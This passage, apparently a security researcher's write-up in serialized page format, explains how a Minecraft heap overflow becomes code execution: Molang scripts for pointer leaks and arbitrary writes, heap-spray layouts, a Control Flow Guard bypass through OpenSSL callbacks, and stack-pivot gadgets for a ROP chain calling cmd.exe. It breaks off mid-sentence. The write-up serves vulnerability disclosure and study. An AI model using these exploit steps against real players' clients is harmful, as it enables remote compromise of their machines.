         +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[154458],{"type":23,"tag":92,"props":154459,"children":154460},{"__ignoreMap":7},[154461],{"type":28,"value":154456},{"type":23,"tag":24,"props":154463,"children":154464},{},[154465,154466,154471,154473,154478,154480,154485,154487,154492,154494,154499,154500,154505,154507,154512],{"type":28,"value":16084},{"type":23,"tag":92,"props":154467,"children":154469},{"className":154468},[],[154470],{"type":28,"value":38650},{"type":28,"value":154472}," field inside a ",{"type":23,"tag":92,"props":154474,"children":154476},{"className":154475},[],[154477],{"type":28,"value":152113},{"type":28,"value":154479}," is at offset ",{"type":23,"tag":92,"props":154481,"children":154483},{"className":154482},[],[154484],{"type":28,"value":152374},{"type":28,"value":154486},". We already control a corrupted variable, ",{"type":23,"tag":92,"props":154488,"children":154490},{"className":154489},[],[154491],{"type":28,"value":154380},{"type":28,"value":154493},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":92,"props":154495,"children":154497},{"className":154496},[],[154498],{"type":28,"value":8601},{"type":28,"value":153421},{"type":23,"tag":92,"props":154501,"children":154503},{"className":154502},[],[154504],{"type":28,"value":152616},{"type":28,"value":154506}," by 2 bytes, which in turn advances ",{"type":23,"tag":92,"props":154508,"children":154510},{"className":154509},[],[154511],{"type":28,"value":154380},{"type":28,"value":154513}," by 2 bytes.",{"type":23,"tag":24,"props":154515,"children":154516},{},[154517,154519,154524,154526,154532,154533,154538,154539,154544,154546,154551],{"type":28,"value":154518},"By moving ",{"type":23,"tag":92,"props":154520,"children":154522},{"className":154521},[],[154523],{"type":28,"value":8601},{"type":28,"value":154525}," so it equals ",{"type":23,"tag":92,"props":154527,"children":154529},{"className":154528},[],[154530],{"type":28,"value":154531},"cap - 0x38",{"type":28,"value":101809},{"type":23,"tag":92,"props":154534,"children":154536},{"className":154535},[],[154537],{"type":28,"value":38650},{"type":28,"value":153421},{"type":23,"tag":92,"props":154540,"children":154542},{"className":154541},[],[154543],{"type":28,"value":154380},{"type":28,"value":154545}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":92,"props":154547,"children":154549},{"className":154548},[],[154550],{"type":28,"value":154451},{"type":28,"value":154552}," pointer. We can then capture that pointer with:",{"type":23,"tag":87,"props":154554,"children":154556},{"code":154555},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[154557],{"type":23,"tag":92,"props":154558,"children":154559},{"__ignoreMap":7},[154560],{"type":28,"value":154555},{"type":23,"tag":24,"props":154562,"children":154563},{},[154564,154566,154571,154573,154578,154580,154585,154587,154593],{"type":28,"value":154565},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":92,"props":154567,"children":154569},{"className":154568},[],[154570],{"type":28,"value":8601},{"type":28,"value":154572}," until it equals ",{"type":23,"tag":92,"props":154574,"children":154576},{"className":154575},[],[154577],{"type":28,"value":154317},{"type":28,"value":154579},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":92,"props":154581,"children":154583},{"className":154582},[],[154584],{"type":28,"value":154451},{"type":28,"value":154586}," address in ",{"type":23,"tag":92,"props":154588,"children":154590},{"className":154589},[],[154591],{"type":28,"value":154592},"variable.saved_vtable_pointer",{"type":28,"value":720},{"type":23,"tag":18268,"props":154595,"children":154596},{},[],{"type":23,"tag":24,"props":154598,"children":154599},{},[154600,154602,154607,154609,154615],{"type":28,"value":154601},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":92,"props":154603,"children":154605},{"className":154604},[],[154606],{"type":28,"value":43003},{"type":28,"value":154608}," to the address ",{"type":23,"tag":92,"props":154610,"children":154612},{"className":154611},[],[154613],{"type":28,"value":154614},"vtable + 0x1000",{"type":28,"value":154616}," looks like this:",{"type":23,"tag":87,"props":154618,"children":154620},{"code":154619},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[154621],{"type":23,"tag":92,"props":154622,"children":154623},{"__ignoreMap":7},[154624],{"type":28,"value":154619},{"type":23,"tag":18368,"props":154626,"children":154628},{"id":154627},"required-heap-layout",[154629],{"type":28,"value":154630},"Required Heap Layout",{"type":23,"tag":24,"props":154632,"children":154633},{},[154634],{"type":28,"value":154635},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":87,"props":154637,"children":154639},{"code":154638},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[154640],{"type":23,"tag":92,"props":154641,"children":154642},{"__ignoreMap":7},[154643],{"type":28,"value":154638},{"type":23,"tag":24,"props":154645,"children":154646},{},[154647,154649,154655,154657,154662,154664,154669,154671,154676,154677,154682],{"type":28,"value":154648},"The first region (",{"type":23,"tag":92,"props":154650,"children":154652},{"className":154651},[],[154653],{"type":28,"value":154654},"Heap Region 1",{"type":28,"value":154656},") contains alternating ",{"type":23,"tag":92,"props":154658,"children":154660},{"className":154659},[],[154661],{"type":28,"value":152440},{"type":28,"value":154663},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":92,"props":154665,"children":154667},{"className":154666},[],[154668],{"type":28,"value":152470},{"type":28,"value":154670}," pointers of ",{"type":23,"tag":92,"props":154672,"children":154674},{"className":154673},[],[154675],{"type":28,"value":152440},{"type":28,"value":10458},{"type":23,"tag":92,"props":154678,"children":154680},{"className":154679},[],[154681],{"type":28,"value":152616},{"type":28,"value":154683}," from the entity object for our main attack.",{"type":23,"tag":24,"props":154685,"children":154686},{},[154687,154689,154695,154697,154702,154704,154709,154711,154716,154718,154723],{"type":28,"value":154688},"The second region (",{"type":23,"tag":92,"props":154690,"children":154692},{"className":154691},[],[154693],{"type":28,"value":154694},"Heap Region 2",{"type":28,"value":154696},") contains interleaved ",{"type":23,"tag":92,"props":154698,"children":154700},{"className":154699},[],[154701],{"type":28,"value":152616},{"type":28,"value":154703},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":92,"props":154705,"children":154707},{"className":154706},[],[154708],{"type":28,"value":154451},{"type":28,"value":154710}," pointer into ",{"type":23,"tag":92,"props":154712,"children":154714},{"className":154713},[],[154715],{"type":28,"value":154380},{"type":28,"value":154717}," during our main attack. It could be any object with a ",{"type":23,"tag":92,"props":154719,"children":154721},{"className":154720},[],[154722],{"type":28,"value":154451},{"type":28,"value":154724},", but for simplicity we use the entity object.",{"type":23,"tag":24,"props":154726,"children":154727},{},[154728,154730,154736,154738,154743],{"type":28,"value":154729},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":92,"props":154731,"children":154733},{"className":154732},[],[154734],{"type":28,"value":154735},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":154737}," will very likely clobber the ",{"type":23,"tag":92,"props":154739,"children":154741},{"className":154740},[],[154742],{"type":28,"value":152936},{"type":28,"value":154744}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":24,"props":154746,"children":154747},{},[154748],{"type":28,"value":154749},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":24,"props":154751,"children":154752},{},[154753],{"type":28,"value":154754},"The final exploit proceeds in three stages:",{"type":23,"tag":4890,"props":154756,"children":154757},{},[154758,154763,154768],{"type":23,"tag":4894,"props":154759,"children":154760},{},[154761],{"type":28,"value":154762},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":4894,"props":154764,"children":154765},{},[154766],{"type":28,"value":154767},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":4894,"props":154769,"children":154770},{},[154771],{"type":28,"value":154772},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":18368,"props":154774,"children":154776},{"id":154775},"initial-corruption-variant-lfh-heap-approach",[154777],{"type":28,"value":154778},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":24,"props":154780,"children":154781},{},[154782],{"type":28,"value":154783},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":24,"props":154785,"children":154786},{},[154787,154789,154794,154795,154801],{"type":28,"value":154788},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":92,"props":154790,"children":154792},{"className":154791},[],[154793],{"type":28,"value":152683},{"type":28,"value":5945},{"type":23,"tag":92,"props":154796,"children":154798},{"className":154797},[],[154799],{"type":28,"value":154800},"last_index",{"type":28,"value":154802}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":24,"props":154804,"children":154805},{},[154806,154808,154813,154814,154819,154821,154826,154828,154833,154835,154840,154842,154848,154849,154855,154856,154862],{"type":28,"value":154807},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":92,"props":154809,"children":154811},{"className":154810},[],[154812],{"type":28,"value":149636},{"type":28,"value":153421},{"type":23,"tag":92,"props":154815,"children":154817},{"className":154816},[],[154818],{"type":28,"value":152616},{"type":28,"value":154820},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":92,"props":154822,"children":154824},{"className":154823},[],[154825],{"type":28,"value":152374},{"type":28,"value":154827}," within the ",{"type":23,"tag":92,"props":154829,"children":154831},{"className":154830},[],[154832],{"type":28,"value":152616},{"type":28,"value":154834}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":92,"props":154836,"children":154838},{"className":154837},[],[154839],{"type":28,"value":55141},{"type":28,"value":154841}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":92,"props":154843,"children":154845},{"className":154844},[],[154846],{"type":28,"value":154847},"0xfb",{"type":28,"value":242},{"type":23,"tag":92,"props":154850,"children":154852},{"className":154851},[],[154853],{"type":28,"value":154854},"0xfc",{"type":28,"value":10458},{"type":23,"tag":92,"props":154857,"children":154859},{"className":154858},[],[154860],{"type":28,"value":154861},"0xfd",{"type":28,"value":154863}," the script would do:",{"type":23,"tag":87,"props":154865,"children":154867},{"code":154866},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[154868],{"type":23,"tag":92,"props":154869,"children":154870},{"__ignoreMap":7},[154871],{"type":28,"value":154866},{"type":23,"tag":24,"props":154873,"children":154874},{},[154875,154877,154882,154883,154889,154891,154896],{"type":28,"value":154876},"That line would write the ",{"type":23,"tag":92,"props":154878,"children":154880},{"className":154879},[],[154881],{"type":28,"value":55141},{"type":28,"value":91685},{"type":23,"tag":92,"props":154884,"children":154886},{"className":154885},[],[154887],{"type":28,"value":154888},"0x302700fb00fc00fd",{"type":28,"value":154890}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":92,"props":154892,"children":154894},{"className":154893},[],[154895],{"type":28,"value":152616},{"type":28,"value":154897}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":9072,"props":154899,"children":154901},{"id":154900},"hijacking-execution",[154902],{"type":28,"value":154903},"Hijacking Execution",{"type":23,"tag":24,"props":154905,"children":154906},{},[154907,154909,154914,154916,154922],{"type":28,"value":154908},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":92,"props":154910,"children":154912},{"className":154911},[],[154913],{"type":28,"value":154451},{"type":28,"value":154915}," and function pointers in the writable ",{"type":23,"tag":92,"props":154917,"children":154919},{"className":154918},[],[154920],{"type":28,"value":154921},".data",{"type":28,"value":154923}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":24,"props":154925,"children":154926},{},[154927],{"type":28,"value":154928},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":24,"props":154930,"children":154931},{},[154932],{"type":28,"value":154933},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":24,"props":154935,"children":154936},{},[154937],{"type":23,"tag":1116,"props":154938,"children":154940},{"alt":50084,"src":154939},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":24,"props":154942,"children":154943},{},[154944,154946,154952,154954,154960,154962,154967,154969,154974,154976,154982,154984,154989,154991,154997,154999,155004],{"type":28,"value":154945},"This snippet calls a method on an object: ",{"type":23,"tag":92,"props":154947,"children":154949},{"className":154948},[],[154950],{"type":28,"value":154951},"rcx",{"type":28,"value":154953}," holds the object pointer, the first ",{"type":23,"tag":92,"props":154955,"children":154957},{"className":154956},[],[154958],{"type":28,"value":154959},"mov",{"type":28,"value":154961}," loads the object's ",{"type":23,"tag":92,"props":154963,"children":154965},{"className":154964},[],[154966],{"type":28,"value":154451},{"type":28,"value":154968}," into ",{"type":23,"tag":92,"props":154970,"children":154972},{"className":154971},[],[154973],{"type":28,"value":56281},{"type":28,"value":154975},", and the function pointer at ",{"type":23,"tag":92,"props":154977,"children":154979},{"className":154978},[],[154980],{"type":28,"value":154981},"rax + 0x8",{"type":28,"value":154983}," is read into ",{"type":23,"tag":92,"props":154985,"children":154987},{"className":154986},[],[154988],{"type":28,"value":56281},{"type":28,"value":154990},". Finally, ",{"type":23,"tag":92,"props":154992,"children":154994},{"className":154993},[],[154995],{"type":28,"value":154996},"__guard_dispatch_icall_fptr",{"type":28,"value":154998}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":92,"props":155000,"children":155002},{"className":155001},[],[155003],{"type":28,"value":56281},{"type":28,"value":155005}," as a legal call target before invoking it.",{"type":23,"tag":24,"props":155007,"children":155008},{},[155009],{"type":28,"value":155010},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":24,"props":155012,"children":155013},{},[155014],{"type":23,"tag":1116,"props":155015,"children":155017},{"alt":50084,"src":155016},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":24,"props":155019,"children":155020},{},[155021,155023,155029,155031,155037],{"type":28,"value":155022},"Here, the function pointer at ",{"type":23,"tag":92,"props":155024,"children":155026},{"className":155025},[],[155027],{"type":28,"value":155028},"vtable + 0x10",{"type":28,"value":155030}," is loaded into ",{"type":23,"tag":92,"props":155032,"children":155034},{"className":155033},[],[155035],{"type":28,"value":155036},"rdx",{"type":28,"value":155038}," and then called directly.",{"type":23,"tag":24,"props":155040,"children":155041},{},[155042],{"type":28,"value":155043},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":24,"props":155045,"children":155046},{},[155047,155049,155054],{"type":28,"value":155048},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":92,"props":155050,"children":155052},{"className":155051},[],[155053],{"type":28,"value":154451},{"type":28,"value":155055}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":18368,"props":155057,"children":155059},{"id":155058},"locating-overwrite-targets",[155060],{"type":28,"value":155061},"Locating Overwrite Targets",{"type":23,"tag":24,"props":155063,"children":155064},{},[155065,155067,155073,155074,155079,155081,155086,155088,155094],{"type":28,"value":155066},"One of the first targets we identified were the ",{"type":23,"tag":92,"props":155068,"children":155070},{"className":155069},[],[155071],{"type":28,"value":155072},"malloc",{"type":28,"value":10458},{"type":23,"tag":92,"props":155075,"children":155077},{"className":155076},[],[155078],{"type":28,"value":149684},{"type":28,"value":155080}," callbacks. These reside in the ",{"type":23,"tag":92,"props":155082,"children":155084},{"className":155083},[],[155085],{"type":28,"value":154921},{"type":28,"value":155087}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":92,"props":155089,"children":155091},{"className":155090},[],[155092],{"type":28,"value":155093},"OPENSSL_malloc/free",{"type":28,"value":131542},{"type":23,"tag":24,"props":155096,"children":155097},{},[155098],{"type":23,"tag":1116,"props":155099,"children":155101},{"alt":50084,"src":155100},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":24,"props":155103,"children":155104},{},[155105],{"type":28,"value":155106},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":24,"props":155108,"children":155109},{},[155110,155112,155118,155120,155126,155128,155133],{"type":28,"value":155111},"Later, we found another promising function: ",{"type":23,"tag":92,"props":155113,"children":155115},{"className":155114},[],[155116],{"type":28,"value":155117},"ossl_ec_key_new_method_int",{"type":28,"value":155119},". This function creates and initializes an ",{"type":23,"tag":92,"props":155121,"children":155123},{"className":155122},[],[155124],{"type":28,"value":155125},"EC_KEY",{"type":28,"value":155127}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":92,"props":155129,"children":155131},{"className":155130},[],[155132],{"type":28,"value":154921},{"type":28,"value":155134},") containing function pointers:",{"type":23,"tag":24,"props":155136,"children":155137},{},[155138],{"type":23,"tag":1116,"props":155139,"children":155141},{"alt":50084,"src":155140},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":24,"props":155143,"children":155144},{},[155145,155147,155153,155154,155160,155162,155167,155169,155175,155177,155182,155184,155189,155191,155196],{"type":28,"value":155146},"In the image above, ",{"type":23,"tag":92,"props":155148,"children":155150},{"className":155149},[],[155151],{"type":28,"value":155152},"ret->meth",{"type":28,"value":125006},{"type":23,"tag":92,"props":155155,"children":155157},{"className":155156},[],[155158],{"type":28,"value":155159},"default_ec_key_meth",{"type":28,"value":155161},", which points to a structure of function pointers located in ",{"type":23,"tag":92,"props":155163,"children":155165},{"className":155164},[],[155166],{"type":28,"value":154921},{"type":28,"value":155168},". It then calls ",{"type":23,"tag":92,"props":155170,"children":155172},{"className":155171},[],[155173],{"type":28,"value":155174},"ret->meth->init",{"type":28,"value":155176},", passing the ",{"type":23,"tag":92,"props":155178,"children":155180},{"className":155179},[],[155181],{"type":28,"value":17166},{"type":28,"value":155183}," pointer (",{"type":23,"tag":92,"props":155185,"children":155187},{"className":155186},[],[155188],{"type":28,"value":10456},{"type":28,"value":155190},"). This alone isn’t especially useful because ",{"type":23,"tag":92,"props":155192,"children":155194},{"className":155193},[],[155195],{"type":28,"value":10456},{"type":28,"value":155197}," is heap-allocated.",{"type":23,"tag":24,"props":155199,"children":155200},{},[155201,155203,155208],{"type":28,"value":155202},"But, if we look at how ",{"type":23,"tag":92,"props":155204,"children":155206},{"className":155205},[],[155207],{"type":28,"value":155174},{"type":28,"value":155209}," is invoked in the disassembly:",{"type":23,"tag":24,"props":155211,"children":155212},{},[155213],{"type":23,"tag":1116,"props":155214,"children":155216},{"alt":50084,"src":155215},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":24,"props":155218,"children":155219},{},[155220,155221,155226,155228,155233,155235,155240,155242,155247,155249,155254,155256,155261,155263,155268,155270,155276],{"type":28,"value":6938},{"type":23,"tag":92,"props":155222,"children":155224},{"className":155223},[],[155225],{"type":28,"value":155174},{"type":28,"value":155227}," is not ",{"type":23,"tag":92,"props":155229,"children":155231},{"className":155230},[],[155232],{"type":28,"value":54002},{"type":28,"value":155234},", it is called while ",{"type":23,"tag":92,"props":155236,"children":155238},{"className":155237},[],[155239],{"type":28,"value":56281},{"type":28,"value":155241}," still contains the value of ",{"type":23,"tag":92,"props":155243,"children":155245},{"className":155244},[],[155246],{"type":28,"value":155152},{"type":28,"value":155248}," - that is, a pointer to the structure in ",{"type":23,"tag":92,"props":155250,"children":155252},{"className":155251},[],[155253],{"type":28,"value":154921},{"type":28,"value":155255}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":92,"props":155257,"children":155259},{"className":155258},[],[155260],{"type":28,"value":155159},{"type":28,"value":155262}," with a pointer to a region in ",{"type":23,"tag":92,"props":155264,"children":155266},{"className":155265},[],[155267],{"type":28,"value":154921},{"type":28,"value":155269}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":92,"props":155271,"children":155273},{"className":155272},[],[155274],{"type":28,"value":155275},"mov rsp, rax; ret",{"type":28,"value":155277},"-style gadget.",{"type":23,"tag":24,"props":155279,"children":155280},{},[155281,155283,155288,155290,155295],{"type":28,"value":155282},"Although we discovered that ",{"type":23,"tag":92,"props":155284,"children":155286},{"className":155285},[],[155287],{"type":28,"value":155117},{"type":28,"value":155289}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":92,"props":155291,"children":155293},{"className":155292},[],[155294],{"type":28,"value":155093},{"type":28,"value":155296}," callbacks.",{"type":23,"tag":18368,"props":155298,"children":155300},{"id":155299},"stack-pivot",[155301],{"type":28,"value":155302},"Stack Pivot",{"type":23,"tag":24,"props":155304,"children":155305},{},[155306,155308,155313,155315,155320,155322,155327,155329,155335],{"type":28,"value":155307},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":92,"props":155309,"children":155311},{"className":155310},[],[155312],{"type":28,"value":154921},{"type":28,"value":155314},", overwrite ",{"type":23,"tag":92,"props":155316,"children":155318},{"className":155317},[],[155319],{"type":28,"value":155159},{"type":28,"value":155321}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":92,"props":155323,"children":155325},{"className":155324},[],[155326],{"type":28,"value":155117},{"type":28,"value":155328},". This ultimately calls ",{"type":23,"tag":92,"props":155330,"children":155332},{"className":155331},[],[155333],{"type":28,"value":155334},"default_ec_key_meth->init",{"type":28,"value":155336},", which executes the pivot and begins ROP execution.",{"type":23,"tag":24,"props":155338,"children":155339},{},[155340,155342,155348,155350,155356],{"type":28,"value":155341},"We chose to overwrite the ",{"type":23,"tag":92,"props":155343,"children":155345},{"className":155344},[],[155346],{"type":28,"value":155347},"OPENSSL_free",{"type":28,"value":155349}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":92,"props":155351,"children":155353},{"className":155352},[],[155354],{"type":28,"value":155355},"OPENSSL_malloc",{"type":28,"value":155357}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":24,"props":155359,"children":155360},{},[155361,155363,155369,155370,155376,155378,155383],{"type":28,"value":155362},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":92,"props":155364,"children":155366},{"className":155365},[],[155367],{"type":28,"value":155368},"add rsp, 0x10; pop r14; ret",{"type":28,"value":10458},{"type":23,"tag":92,"props":155371,"children":155373},{"className":155372},[],[155374],{"type":28,"value":155375},"xchg rsp, rax; ret",{"type":28,"value":155377},". The exploit writes them into ",{"type":23,"tag":92,"props":155379,"children":155381},{"className":155380},[],[155382],{"type":28,"value":154921},{"type":28,"value":155384}," like this:",{"type":23,"tag":87,"props":155386,"children":155388},{"code":155387},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[155389],{"type":23,"tag":92,"props":155390,"children":155391},{"__ignoreMap":7},[155392],{"type":28,"value":155387},{"type":23,"tag":24,"props":155394,"children":155395},{},[155396,155398,155403,155405,155410,155412,155417,155419,155424,155426,155431,155433,155438,155440,155445],{"type":28,"value":155397},"The second gadget, ",{"type":23,"tag":92,"props":155399,"children":155401},{"className":155400},[],[155402],{"type":28,"value":155375},{"type":28,"value":155404},", is placed in the slot corresponding to the ",{"type":23,"tag":92,"props":155406,"children":155408},{"className":155407},[],[155409],{"type":28,"value":20218},{"type":28,"value":155411}," function pointer. As mentioned earlier, when ",{"type":23,"tag":92,"props":155413,"children":155415},{"className":155414},[],[155416],{"type":28,"value":155174},{"type":28,"value":155418}," is called, ",{"type":23,"tag":92,"props":155420,"children":155422},{"className":155421},[],[155423],{"type":28,"value":56281},{"type":28,"value":155425}," contains a pointer to ",{"type":23,"tag":92,"props":155427,"children":155429},{"className":155428},[],[155430],{"type":28,"value":155159},{"type":28,"value":155432}," - which we have overwritten and now points to our ",{"type":23,"tag":92,"props":155434,"children":155436},{"className":155435},[],[155437],{"type":28,"value":155368},{"type":28,"value":155439}," gadget in ",{"type":23,"tag":92,"props":155441,"children":155443},{"className":155442},[],[155444],{"type":28,"value":154921},{"type":28,"value":720},{"type":23,"tag":24,"props":155447,"children":155448},{},[155449,155451,155457,155459,155464,155466,155472,155474,155479,155481,155486,155488,155493,155495,155500,155502,155507,155509,155514],{"type":28,"value":155450},"When the call occurs, ",{"type":23,"tag":92,"props":155452,"children":155454},{"className":155453},[],[155455],{"type":28,"value":155456},"xchg rsp, rax",{"type":28,"value":155458}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":92,"props":155460,"children":155462},{"className":155461},[],[155463],{"type":28,"value":154921},{"type":28,"value":155465},", effectively moving ",{"type":23,"tag":92,"props":155467,"children":155469},{"className":155468},[],[155470],{"type":28,"value":155471},"rsp",{"type":28,"value":155473}," into our ROP region. After the ",{"type":23,"tag":92,"props":155475,"children":155477},{"className":155476},[],[155478],{"type":28,"value":10456},{"type":28,"value":155480},", execution continues at ",{"type":23,"tag":92,"props":155482,"children":155484},{"className":155483},[],[155485],{"type":28,"value":155368},{"type":28,"value":155487},", which advances ",{"type":23,"tag":92,"props":155489,"children":155491},{"className":155490},[],[155492],{"type":28,"value":155471},{"type":28,"value":155494}," by ",{"type":23,"tag":92,"props":155496,"children":155498},{"className":155497},[],[155499],{"type":28,"value":44037},{"type":28,"value":155501}," bytes, skipping over the padding and the ",{"type":23,"tag":92,"props":155503,"children":155505},{"className":155504},[],[155506],{"type":28,"value":155375},{"type":28,"value":155508}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":92,"props":155510,"children":155512},{"className":155511},[],[155513],{"type":28,"value":155375},{"type":28,"value":155515},") begins executing.",{"type":23,"tag":9072,"props":155517,"children":155519},{"id":155518},"rop-chain",[155520],{"type":28,"value":155521},"ROP Chain",{"type":23,"tag":24,"props":155523,"children":155524},{},[155525,155527,155533,155535,155540],{"type":28,"value":155526},"For the demo, the ROP chain simply calls ",{"type":23,"tag":92,"props":155528,"children":155530},{"className":155529},[],[155531],{"type":28,"value":155532},"system(\"cmd.exe\")",{"type":28,"value":155534},". Because Minecraft does not use ",{"type":23,"tag":92,"props":155536,"children":155538},{"className":155537},[],[155539],{"type":28,"value":131264},{"type":28,"value":155541},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":24,"props":155543,"children":155544},{},[155545,155547,155553,155555,155561,155563,155568,155570,155576,155578,155583],{"type":28,"value":155546},"This is straightforward: the chain first calls 